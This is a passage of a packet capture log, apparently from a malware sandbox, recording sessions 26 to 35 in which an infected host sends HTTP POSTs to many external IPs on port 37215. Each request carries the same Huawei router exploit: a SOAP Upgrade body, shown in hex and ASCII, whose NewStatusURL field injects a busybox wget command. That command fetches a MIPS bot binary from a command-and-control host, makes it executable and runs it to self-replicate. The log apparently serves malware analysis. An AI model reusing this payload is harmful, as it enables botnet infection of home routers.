73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	33714	197.201.134.233	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473195076 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	49288	156.187.67.11	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473215103 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	43110	41.22.164.49	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473248959 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	34004	156.141.170.57	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473267078 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	46518	41.47.138.63	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473287106 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	47472	156.47.73.123	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473304987 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	40958	156.129.68.42	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473325014 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	36866	197.91.20.246	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473351955 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	53832	156.76.218.78	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473375082 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	59982	41.9.116.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473400116 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 